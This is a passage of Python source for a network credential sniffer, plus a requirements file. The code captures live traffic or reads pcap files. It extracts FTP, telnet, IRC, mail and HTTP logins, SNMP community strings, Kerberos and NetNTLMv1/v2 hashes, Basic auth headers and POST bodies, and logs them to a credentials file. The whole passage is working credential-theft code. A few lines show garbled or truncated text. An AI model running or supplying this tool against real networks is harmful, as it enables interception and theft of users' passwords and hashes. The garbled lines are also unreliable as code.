71 | return parser.parse_args()
72 |
73 | def iface_finder():
74 | system_platform = platform.system()
75 | if system_platform == 'Linux':
76 | ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
77 | for line in ipr.communicate()[0].splitlines():
78 | if 'default' in line:
79 | l = line.split()
80 | iface = l[4]
81 | return iface
82 | elif system_platform == 'Darwin': # OSX support
83 | return check_output("route get 0.0.0.0 2>/dev/null| sed -n '5p' | cut -f4 -d' '", shell=True).rstrip()
84 | else:
85 | exit('[-] Could not find an internet active interface; please specify one with -i ')
86 |
87 | def frag_remover(ack, load):
88 | '''
89 | Keep the FILO OrderedDict of frag loads from getting too large
90 | 3 points of limit:
91 | Number of ip_ports < 50
92 | Number of acks per ip:port < 25
93 | Number of chars in load < 5000
94 | '''
95 | global pkt_frag_loads
96 |
97 | # Keep the number of IP:port mappings below 50
98 | # last=False pops the oldest item rather than the latest
99 | while len(pkt_frag_loads) > 50:
100 | pkt_frag_loads.popitem(last=False)
101 |
102 | # Loop through a deep copy dict but modify the original dict
103 | copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
104 | for ip_port in copy_pkt_frag_loads:
105 | if len(copy_pkt_frag_loads[ip_port]) > 0:
106 | # Keep 25 ack:load's per ip:port
107 | while len(copy_pkt_frag_loads[ip_port]) > 25:
108 | pkt_frag_loads[ip_port].popitem(last=False)
109 |
110 | # Recopy the new dict to prevent KeyErrors for modifying dict in loop
111 | copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads)
112 | for ip_port in copy_pkt_frag_loads:
113 | # Keep the load less than 75,000 chars
114 | for ack in copy_pkt_frag_loads[ip_port]:
115 | # If load > 5000 chars, just keep the last 200 chars
116 | if len(copy_pkt_frag_loads[ip_port][ack]) > 5000:
117 | pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:]
118 |
119 | def frag_joiner(ack, src_ip_port, load):
120 | '''
121 | Keep a store of previous fragments in an OrderedDict named pkt_frag_loads
122 | '''
123 | for ip_port in pkt_frag_loads:
124 | if src_ip_port == ip_port:
125 | if ack in pkt_frag_loads[src_ip_port]:
126 | # Make pkt_frag_loads[src_ip_port][ack] = full load
127 | old_load = pkt_frag_loads[src_ip_port][ack]
128 | concat_load = old_load + load
129 | return OrderedDict([(ack, concat_load)])
130 |
131 | return OrderedDict([(ack, load)])
132 |
133 | def pkt_parser(pkt):
134 | '''
135 | Start parsing packets here
136 | '''
137 | global pkt_frag_loads, mail_auths
138 |
139 | if pkt.haslayer(Raw):
140 | load = pkt[Raw].load
141 |
142 | # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control
143 | if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6):
144 | return
145 |
146 | # UDP
147 | if pkt.haslayer(UDP) and pkt.haslayer(IP):
148 |
149 | src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport)
150 | dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport)
151 |
152 | # SNMP community strings
153 | if pkt.haslayer(SNMP):
154 | parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP])
155 | return
156 |
157 | # Kerberos over UDP
158 | decoded = Decode_Ip_Packet(str(pkt)[14:])
159 | kerb_hash = ParseMSKerbv5UDP(decoded['data'][8:])
160 | if kerb_hash:
161 | printer(src_ip_port, dst_ip_port, kerb_hash)
162 |
163 | # TCP
164 | elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
165 |
166 | ack = str(pkt[TCP].ack)
167 | seq = str(pkt[TCP].seq)
168 | src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport)
169 | dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport)
170 | frag_remover(ack, load)
171 | pkt_frag_loads[src_ip_port] = frag_joiner(ack, src_ip_port, load)
172 | full_load = pkt_frag_loads[src_ip_port][ack]
173 |
174 | # Limit the packets we regex to increase efficiency
175 | # 750 is a bit arbitrary but some SMTP auth success pkts
176 | # are 500+ characters
177 | if 0 < len(full_load) < 750:
178 |
179 | # FTP
180 | ftp_creds = parse_ftp(full_load, dst_ip_port)
181 | if len(ftp_creds) > 0:
182 | for msg in ftp_creds:
183 | printer(src_ip_port, dst_ip_port, msg)
184 | return
185 |
186 | # Mail
187 | mail_creds_found = mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq)
188 |
189 | # IRC
190 | irc_creds = irc_logins(full_load, pkt)
191 | if irc_creds != None:
192 | printer(src_ip_port, dst_ip_port, irc_creds)
193 | return
194 |
195 | # Telnet
196 | telnet_logins(src_ip_port, dst_ip_port, load, ack, seq)
197 |
198 | # HTTP and other protocols that run on TCP + a raw load
199 | other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, parse_args().verbose)
200 |
201 | def telnet_logins(src_ip_port, dst_ip_port, load, ack, seq):
202 | '''
203 | Catch telnet logins and passwords
204 | '''
205 | global telnet_stream
206 |
207 | msg = None
208 |
209 | if src_ip_port in telnet_stream:
210 | # Do a utf decode in case the client sends telnet options before their username
211 | # No one would care to see that
212 | try:
213 | telnet_stream[src_ip_port] += load.decode('utf8')
214 | except UnicodeDecodeError:
215 | pass
216 |
217 | # \r or \r\n or \n terminate commands in telnet if my pcaps are to be believed
218 | if '\r' in telnet_stream[src_ip_port] or '\n' in telnet_stream[src_ip_port]:
219 | telnet_split = telnet_stream[src_ip_port].split(' ', 1)
220 | cred_type = telnet_split[0]
221 | value = telnet_split[1].replace('\r\n', '').replace('\r', '').replace('\n', '')
222 | # Create msg, the return variable
223 | msg = 'Telnet %s: %s' % (cred_type, value)
224 | printer(src_ip_port, dst_ip_port, msg)
225 | del telnet_stream[src_ip_port]
226 |
227 | # This part relies on the telnet packet ending in
228 | # "login:", "password:", or "username:" and being <750 chars
229 | # Haven't seen any false+ but this is pretty general
230 | # might catch some eventually
231 | # maybe use dissector.py telnet lib?
232 | if len(telnet_stream) > 100:
233 | telnet_stream.popitem(last=False)
234 | mod_load = load.lower().strip()
235 | if mod_load.endswith('username:') or mod_load.endswith('login:'):
236 | telnet_stream[dst_ip_port] = 'username '
237 | elif mod_load.endswith('password:'):
238 | telnet_stream[dst_ip_port] = 'password '
239 |
240 | def ParseMSKerbv5TCP(Data):
241 | '''
242 | Taken from Pcredz because I didn't want to spend the time doing this myself
243 | I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel?
244 | Maybe replace this eventually with the kerberos python lib
245 | Parses Kerberosv5 hashes from packets
246 | '''
247 | try:
248 | MsgType = Data[21:22]
249 | EncType = Data[43:44]
250 | MessageType = Data[32:33]
251 | except IndexError:
252 | return
253 |
254 | if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
255 | if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
256 | HashLen = struct.unpack(' 1:
357 | lines = full_load.count('\r\n')
358 | if lines > 1:
359 | full_load = full_load.split('\r\n')[-2] # -1 is ''
360 | return full_load
361 |
362 | def parse_ftp(full_load, dst_ip_port):
363 | '''
364 | Parse out FTP creds
365 | '''
366 | print_strs = []
367 |
368 | # Sometimes FTP packets double up on the authentication lines
369 | # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n"
370 | full_load = double_line_checker(full_load, 'USER')
371 |
372 | # FTP and POP potentially use idential client > server auth pkts
373 | ftp_user = re.match(ftp_user_re, full_load)
374 | ftp_pass = re.match(ftp_pw_re, full_load)
375 |
376 | if ftp_user:
377 | msg1 = 'FTP User: %s' % ftp_user.group(1).strip()
378 | print_strs.append(msg1)
379 | if dst_ip_port[-3:] != ':21':
380 | msg2 = 'Nonstandard FTP port, confirm the service that is running on it'
381 | print_strs.append(msg2)
382 |
383 | elif ftp_pass:
384 | msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip()
385 | print_strs.append(msg1)
386 | if dst_ip_port[-3:] != ':21':
387 | msg2 = 'Nonstandard FTP port, confirm the service that is running on it'
388 | print_strs.append(msg2)
389 |
390 | return print_strs
391 |
392 | def mail_decode(src_ip_port, dst_ip_port, mail_creds):
393 | '''
394 | Decode base64 mail creds
395 | '''
396 | try:
397 | decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8')
398 | decoded = decoded.replace('\x00', ' ')
399 | except TypeError:
400 | decoded = None
401 | except UnicodeDecodeError as e:
402 | decoded = None
403 |
404 | if decoded != None:
405 | msg = 'Decoded: %s' % decoded
406 | printer(src_ip_port, dst_ip_port, msg)
407 |
408 | def mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq):
409 | '''
410 | Catch IMAP, POP, and SMTP logins
411 | '''
412 | # Handle the first packet of mail authentication
413 | # if the creds aren't in the first packet, save it in mail_auths
414 |
415 | # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...]
416 | global mail_auths
417 | found = False
418 |
419 | # Sometimes mail packets double up on the authentication lines
420 | # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n"
421 | full_load = double_line_checker(full_load, 'auth')
422 |
423 | # Client to server 2nd+ pkt
424 | if src_ip_port in mail_auths:
425 | if seq in mail_auths[src_ip_port][-1]:
426 | stripped = full_load.strip('\r\n')
427 | try:
428 | decoded = base64.b64decode(stripped)
429 | msg = 'Mail authentication: %s' % decoded
430 | printer(src_ip_port, dst_ip_port, msg)
431 | except TypeError:
432 | pass
433 | mail_auths[src_ip_port].append(ack)
434 |
435 | # Server responses to client
436 | # seq always = last ack of tcp stream
437 | elif dst_ip_port in mail_auths:
438 | if seq in mail_auths[dst_ip_port][-1]:
439 | # Look for any kind of auth failure or success
440 | a_s = 'Authentication successful'
441 | a_f = 'Authentication failed'
442 | # SMTP auth was successful
443 | if full_load.startswith('235') and 'auth' in full_load.lower():
444 | # Reversed the dst and src
445 | printer(dst_ip_port, src_ip_port, a_s)
446 | found = True
447 | try:
448 | del mail_auths[dst_ip_port]
449 | except KeyError:
450 | pass
451 | # SMTP failed
452 | elif full_load.startswith('535 '):
453 | # Reversed the dst and src
454 | printer(dst_ip_port, src_ip_port, a_f)
455 | found = True
456 | try:
457 | del mail_auths[dst_ip_port]
458 | except KeyError:
459 | pass
460 | # IMAP/POP/SMTP failed
461 | elif ' fail' in full_load.lower():
462 | # Reversed the dst and src
463 | printer(dst_ip_port, src_ip_port, a_f)
464 | found = True
465 | try:
466 | del mail_auths[dst_ip_port]
467 | except KeyError:
468 | pass
469 | # IMAP auth success
470 | elif ' OK [' in full_load:
471 | # Reversed the dst and src
472 | printer(dst_ip_port, src_ip_port, a_s)
473 | found = True
474 | try:
475 | del mail_auths[dst_ip_port]
476 | except KeyError:
477 | pass
478 |
479 | # Pkt was not an auth pass/fail so its just a normal server ack
480 | # that it got the client's first auth pkt
481 | else:
482 | if len(mail_auths) > 100:
483 | mail_auths.popitem(last=False)
484 | mail_auths[dst_ip_port].append(ack)
485 |
486 | # Client to server but it's a new TCP seq
487 | # This handles most POP/IMAP/SMTP logins but there's at least one edge case
488 | else:
489 | mail_auth_search = re.match(mail_auth_re, full_load, re.IGNORECASE)
490 | if mail_auth_search != None:
491 | auth_msg = full_load
492 | # IMAP uses the number at the beginning
493 | if mail_auth_search.group(1) != None:
494 | auth_msg = auth_msg.split()[1:]
495 | else:
496 | auth_msg = auth_msg.split()
497 | # Check if its a pkt like AUTH PLAIN dvcmQxIQ==
498 | # rather than just an AUTH PLAIN
499 | if len(auth_msg) > 2:
500 | mail_creds = ' '.join(auth_msg[2:])
501 | msg = 'Mail authentication: %s' % mail_creds
502 | printer(src_ip_port, dst_ip_port, msg)
503 |
504 | mail_decode(src_ip_port, dst_ip_port, mail_creds)
505 | try:
506 | del mail_auths[src_ip_port]
507 | except KeyError:
508 | pass
509 | found = True
510 |
511 | # Mail auth regex was found and src_ip_port is not in mail_auths
512 | # Pkt was just the initial auth cmd, next pkt from client will hold creds
513 | if len(mail_auths) > 100:
514 | mail_auths.popitem(last=False)
515 | mail_auths[src_ip_port] = [ack]
516 |
517 | # At least 1 mail login style doesn't fit in the original regex:
518 | # 1 login "username" "password"
519 | # This also catches FTP authentication!
520 | # 230 Login successful.
521 | elif re.match(mail_auth_re1, full_load, re.IGNORECASE) != None:
522 |
523 | # FTP authentication failures trigger this
524 | #if full_load.lower().startswith('530 login'):
525 | # return
526 |
527 | auth_msg = full_load
528 | auth_msg = auth_msg.split()
529 | if 2 < len(auth_msg) < 5:
530 | mail_creds = ' '.join(auth_msg[2:])
531 | msg = 'Authentication: %s' % mail_creds
532 | printer(src_ip_port, dst_ip_port, msg)
533 | mail_decode(src_ip_port, dst_ip_port, mail_creds)
534 | found = True
535 |
536 | if found == True:
537 | return True
538 |
539 | def irc_logins(full_load, pkt):
540 | '''
541 | Find IRC logins
542 | '''
543 | user_search = re.match(irc_user_re, full_load)
544 | pass_search = re.match(irc_pw_re, full_load)
545 | pass_search2 = re.search(irc_pw_re2, full_load.lower())
546 | if user_search:
547 | msg = 'IRC nick: %s' % user_search.group(1)
548 | return msg
549 | if pass_search:
550 | msg = 'IRC pass: %s' % pass_search.group(1)
551 | return msg
552 | if pass_search2:
553 | msg = 'IRC pass: %s' % pass_search2.group(1)
554 | return msg
555 |
556 | def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose):
557 | '''
558 | Pull out pertinent info from the parsed HTTP packet data
559 | '''
560 | user_passwd = None
561 | http_url_req = None
562 | method = None
563 | http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD ']
564 | http_line, header_lines, body = parse_http_load(full_load, http_methods)
565 | headers = headers_to_dict(header_lines)
566 | if 'host' in headers:
567 | host = headers['host']
568 | else:
569 | host = ''
570 |
571 | if http_line != None:
572 | method, path = parse_http_line(http_line, http_methods)
573 | http_url_req = get_http_url(method, host, path, headers)
574 | if http_url_req != None:
575 | if verbose == False:
576 | if len(http_url_req) > 98:
577 | http_url_req = http_url_req[:99] + '...'
578 | printer(src_ip_port, None, http_url_req)
579 |
580 | # Print search terms
581 | searched = get_http_searches(http_url_req, body, host)
582 | if searched:
583 | printer(src_ip_port, dst_ip_port, searched)
584 |
585 | # Print user/pwds
586 | if body != '':
587 | user_passwd = get_login_pass(body)
588 | if user_passwd != None:
589 | try:
590 | http_user = user_passwd[0].decode('utf8')
591 | http_pass = user_passwd[1].decode('utf8')
592 | # Set a limit on how long they can be prevent false+
593 | if len(http_user) > 75 or len(http_pass) > 75:
594 | return
595 | user_msg = 'HTTP username: %s' % http_user
596 | printer(src_ip_port, dst_ip_port, user_msg)
597 | pass_msg = 'HTTP password: %s' % http_pass
598 | printer(src_ip_port, dst_ip_port, pass_msg)
599 | except UnicodeDecodeError:
600 | pass
601 |
602 | # Print POST loads
603 | # ocsp is a common SSL post load that's never interesting
604 | if method == 'POST' and 'ocsp.' not in host:
605 | try:
606 | if verbose == False and len(body) > 99:
607 | # If it can't decode to utf8 we're probably not interested in it
608 | msg = 'POST load: %s...' % body[:99].encode('utf8')
609 | else:
610 | msg = 'POST load: %s' % body.encode('utf8')
611 | printer(src_ip_port, None, msg)
612 | except UnicodeDecodeError:
613 | pass
614 |
615 | # Kerberos over TCP
616 | decoded = Decode_Ip_Packet(str(pkt)[14:])
617 | kerb_hash = ParseMSKerbv5TCP(decoded['data'][20:])
618 | if kerb_hash:
619 | printer(src_ip_port, dst_ip_port, kerb_hash)
620 |
621 | # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL)
622 | NTLMSSP2 = re.search(NTLMSSP2_re, full_load, re.DOTALL)
623 | NTLMSSP3 = re.search(NTLMSSP3_re, full_load, re.DOTALL)
624 | if NTLMSSP2:
625 | parse_ntlm_chal(NTLMSSP2.group(), ack)
626 | if NTLMSSP3:
627 | ntlm_resp_found = parse_ntlm_resp(NTLMSSP3.group(), seq)
628 | if ntlm_resp_found != None:
629 | printer(src_ip_port, dst_ip_port, ntlm_resp_found)
630 |
631 | # Look for authentication headers
632 | if len(headers) == 0:
633 | authenticate_header = None
634 | authorization_header = None
635 | for header in headers:
636 | authenticate_header = re.match(authenticate_re, header)
637 | authorization_header = re.match(authorization_re, header)
638 | if authenticate_header or authorization_header:
639 | break
640 |
641 | if authorization_header or authenticate_header:
642 | # NETNTLM
643 | netntlm_found = parse_netntlm(authenticate_header, authorization_header, headers, ack, seq)
644 | if netntlm_found != None:
645 | printer(src_ip_port, dst_ip_port, netntlm_found)
646 |
647 | # Basic Auth
648 | parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header)
649 |
650 | def get_http_searches(http_url_req, body, host):
651 | '''
652 | Find search terms from URLs. Prone to false positives but rather err on that side than false negatives
653 | search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command
654 | '''
655 | false_pos = ['i.stack.imgur.com']
656 |
657 | searched = None
658 | if http_url_req != None:
659 | searched = re.search(http_search_re, http_url_req, re.IGNORECASE)
660 | if searched == None:
661 | searched = re.search(http_search_re, body, re.IGNORECASE)
662 |
663 | if searched != None and host not in false_pos:
664 | searched = searched.group(3)
665 | # Eliminate some false+
666 | try:
667 | # if it doesn't decode to utf8 it's probably not user input
668 | searched = searched.decode('utf8')
669 | except UnicodeDecodeError:
670 | return
671 | # some add sites trigger this function with single digits
672 | if searched in [str(num) for num in range(0,10)]:
673 | return
674 | # nobody's making >100 character searches
675 | if len(searched) > 100:
676 | return
677 | msg = 'Searched %s: %s' % (host, unquote(searched.encode('utf8')).replace('+', ' '))
678 | return msg
679 |
680 | def parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header):
681 | '''
682 | Parse basic authentication over HTTP
683 | '''
684 | if authorization_header:
685 | # authorization_header sometimes is triggered by failed ftp
686 | try:
687 | header_val = headers[authorization_header.group()]
688 | except KeyError:
689 | return
690 | b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE)
691 | if b64_auth_re != None:
692 | basic_auth_b64 = b64_auth_re.group(1)
693 | try:
694 | basic_auth_creds = base64.decodestring(basic_auth_b64)
695 | except Exception:
696 | return
697 | msg = 'Basic Authentication: %s' % basic_auth_creds
698 | printer(src_ip_port, dst_ip_port, msg)
699 |
700 | def parse_netntlm(authenticate_header, authorization_header, headers, ack, seq):
701 | '''
702 | Parse NTLM hashes out
703 | '''
704 | # Type 2 challenge from server
705 | if authenticate_header != None:
706 | chal_header = authenticate_header.group()
707 | parse_netntlm_chal(headers, chal_header, ack)
708 |
709 | # Type 3 response from client
710 | elif authorization_header != None:
711 | resp_header = authorization_header.group()
712 | msg = parse_netntlm_resp_msg(headers, resp_header, seq)
713 | if msg != None:
714 | return msg
715 |
716 | def parse_snmp(src_ip_port, dst_ip_port, snmp_layer):
717 | '''
718 | Parse out the SNMP version and community string
719 | '''
720 | if type(snmp_layer.community.val) == str:
721 | ver = snmp_layer.version.val
722 | msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val)
723 | printer(src_ip_port, dst_ip_port, msg)
724 | return True
725 |
726 | def get_http_url(method, host, path, headers):
727 | '''
728 | Get the HTTP method + URL from requests
729 | '''
730 | if method != None and path != None:
731 |
732 | # Make sure the path doesn't repeat the host header
733 | if host != '' and not re.match('(http(s)?://)?'+host, path):
734 | http_url_req = method + ' ' + host + path
735 | else:
736 | http_url_req = method + ' ' + path
737 |
738 | http_url_req = url_filter(http_url_req)
739 |
740 | return http_url_req
741 |
742 | def headers_to_dict(header_lines):
743 | '''
744 | Convert the list of header lines into a dictionary
745 | '''
746 | headers = {}
747 | for line in header_lines:
748 | lineList=line.split(': ', 1)
749 | key=lineList[0].lower()
750 | if len(lineList)>1:
751 | headers[key]=lineList[1]
752 | else:
753 | headers[key]=""
754 | return headers
755 |
756 | def parse_http_line(http_line, http_methods):
757 | '''
758 | Parse the header with the HTTP method in it
759 | '''
760 | http_line_split = http_line.split()
761 | method = ''
762 | path = ''
763 |
764 | # Accounts for pcap files that might start with a fragment
765 | # so the first line might be just text data
766 | if len(http_line_split) > 1:
767 | method = http_line_split[0]
768 | path = http_line_split[1]
769 |
770 | # This check exists because responses are much different than requests e.g.:
771 | # HTTP/1.1 407 Proxy Authentication Required ( Access is denied. )
772 | # Add a space to method because there's a space in http_methods items
773 | # to avoid false+
774 | if method+' ' not in http_methods:
775 | method = None
776 | path = None
777 |
778 | return method, path
779 |
780 | def parse_http_load(full_load, http_methods):
781 | '''
782 | Split the raw load into list of headers and body string
783 | '''
784 | try:
785 | headers, body = full_load.split("\r\n\r\n", 1)
786 | except ValueError:
787 | headers = full_load
788 | body = ''
789 | header_lines = headers.split("\r\n")
790 |
791 | # Pkts may just contain hex data and no headers in which case we'll
792 | # still want to parse them for usernames and password
793 | http_line = get_http_line(header_lines, http_methods)
794 | if not http_line:
795 | headers = ''
796 | body = full_load
797 |
798 | header_lines = [line for line in header_lines if line != http_line]
799 |
800 | return http_line, header_lines, body
801 |
802 | def get_http_line(header_lines, http_methods):
803 | '''
804 | Get the header with the http command
805 | '''
806 | for header in header_lines:
807 | for method in http_methods:
808 | # / is the only char I can think of that's in every http_line
809 | # Shortest valid: "GET /", add check for "/"?
810 | if header.startswith(method):
811 | http_line = header
812 | return http_line
813 |
814 | def parse_netntlm_chal(headers, chal_header, ack):
815 | '''
816 | Parse the netntlm server challenge
817 | https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py
818 | '''
819 | try:
820 | header_val2 = headers[chal_header]
821 | except KeyError:
822 | return
823 | header_val2 = header_val2.split(' ', 1)
824 | # The header value can either start with NTLM or Negotiate
825 | if header_val2[0] == 'NTLM' or header_val2[0].lower() == 'negotiate':
826 | try:
827 | msg2 = header_val2[1]
828 | except IndexError:
829 | return
830 | msg2 = base64.decodestring(msg2)
831 | parse_ntlm_chal(msg2, ack)
832 |
833 | def parse_ntlm_chal(msg2, ack):
834 | '''
835 | Parse server challenge
836 | '''
837 | global challenge_acks
838 |
839 | Signature = msg2[0:8]
840 | try:
841 | msg_type = struct.unpack(" 50:
849 | challenge_acks.popitem(last=False)
850 | challenge_acks[ack] = ServerChallenge
851 |
852 | def parse_netntlm_resp_msg(headers, resp_header, seq):
853 | '''
854 | Parse the client response to the challenge
855 | '''
856 | try:
857 | header_val3 = headers[resp_header]
858 | except KeyError:
859 | return
860 | header_val3 = header_val3.split(' ', 1)
861 |
862 | # The header value can either start with NTLM or Negotiate
863 | if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate':
864 | try:
865 | msg3 = base64.decodestring(header_val3[1])
866 | except binascii.Error:
867 | return
868 | return parse_ntlm_resp(msg3, seq)
869 |
870 | def parse_ntlm_resp(msg3, seq):
871 | '''
872 | Parse the 3rd msg in NTLM handshake
873 | Thanks to psychomario
874 | '''
875 |
876 | if seq in challenge_acks:
877 | challenge = challenge_acks[seq]
878 | else:
879 | challenge = 'CHALLENGE NOT FOUND'
880 |
881 | if len(msg3) > 43:
882 | # Thx to psychomario for below
883 | lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44])
884 | lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen])
885 | nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen])
886 | domain = msg3[domoff:domoff+domlen].replace("\0", "")
887 | user = msg3[useroff:useroff+userlen].replace("\0", "")
888 | # Original check by psychomario, might be incorrect?
889 | #if lmhash != "0"*48: #NTLMv1
890 | if ntlen == 24: #NTLMv1
891 | msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge)
892 | return msg
893 | elif ntlen > 60: #NTLMv2
894 | msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:])
895 | return msg
896 |
897 | def url_filter(http_url_req):
898 | '''
899 | Filter out the common but uninteresting URLs
900 | '''
901 | if http_url_req:
902 | d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
903 | if any(http_url_req.endswith(i) for i in d):
904 | return
905 |
906 | return http_url_req
907 |
908 | def get_login_pass(body):
909 | '''
910 | Regex out logins and passwords from a string
911 | '''
912 | user = None
913 | passwd = None
914 |
915 | # Taken mainly from Pcredz by Laurent Gaffie
916 | userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name',
917 | 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname',
918 | 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename',
919 | 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username',
920 | 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in', 'usuario']
921 | passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword',
922 | 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password'
923 | 'passwort', 'passwrd', 'wppassword', 'upasswd','senha','contrasena']
924 |
925 | for login in userfields:
926 | login_re = re.search('(%s=[^&]+)' % login, body, re.IGNORECASE)
927 | if login_re:
928 | user = login_re.group()
929 | for passfield in passfields:
930 | pass_re = re.search('(%s=[^&]+)' % passfield, body, re.IGNORECASE)
931 | if pass_re:
932 | passwd = pass_re.group()
933 |
934 | if user and passwd:
935 | return (user, passwd)
936 |
937 | def printer(src_ip_port, dst_ip_port, msg):
938 | if dst_ip_port != None:
939 | print_str = '[%s > %s] %s%s%s' % (src_ip_port, dst_ip_port, T, msg, W)
940 | # All credentials will have dst_ip_port, URLs will not
941 |
942 | # Prevent identical outputs unless it's an HTTP search or POST load
943 | skip = ['Searched ', 'POST load:']
944 | for s in skip:
945 | if s not in msg:
946 | if os.path.isfile('credentials.txt'):
947 | with open('credentials.txt', 'r') as log:
948 | contents = log.read()
949 | if msg in contents:
950 | return
951 |
952 | print print_str
953 |
954 | # Escape colors like whatweb has
955 | ansi_escape = re.compile(r'\x1b[^m]*m')
956 | print_str = ansi_escape.sub('', print_str)
957 |
958 | # Log the creds
959 | logging.info(print_str)
960 | else:
961 | print_str = '[%s] %s' % (src_ip_port.split(':')[0], msg)
962 | print print_str
963 |
964 | def main(args):
965 | ##################### DEBUG ##########################
966 | ## Hit Ctrl-C while program is running and you can see
967 | ## whatever variable you want within the IPython cli
968 | ## Don't forget to uncomment IPython in imports
969 | #def signal_handler(signal, frame):
970 | # embed()
971 | ## sniff(iface=conf.iface, prn=pkt_parser, store=0)
972 | # sys.exit()
973 | #signal.signal(signal.SIGINT, signal_handler)
974 | ######################################################
975 |
976 | # Read packets from either pcap or interface
977 | if args.pcap:
978 | try:
979 | for pkt in PcapReader(args.pcap):
980 | pkt_parser(pkt)
981 | except IOError:
982 | exit('[-] Could not open %s' % args.pcap)
983 |
984 | else:
985 | # Check for root
986 | if geteuid():
987 | exit('[-] Please run as root')
988 |
989 | #Find the active interface
990 | if args.interface:
991 | conf.iface = args.interface
992 | else:
993 | conf.iface = iface_finder()
994 | print '[*] Using interface:', conf.iface
995 |
996 | if args.filterip:
997 | sniff(iface=conf.iface, prn=pkt_parser, filter="not host %s" % args.filterip, store=0)
998 | else:
999 | sniff(iface=conf.iface, prn=pkt_parser, store=0)
1000 |
1001 |
1002 | if __name__ == "__main__":
1003 | main(parse_args())
1004 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | scapy=>2.3.1
2 | wsgiref=>0.1.2
3 |
--------------------------------------------------------------------------------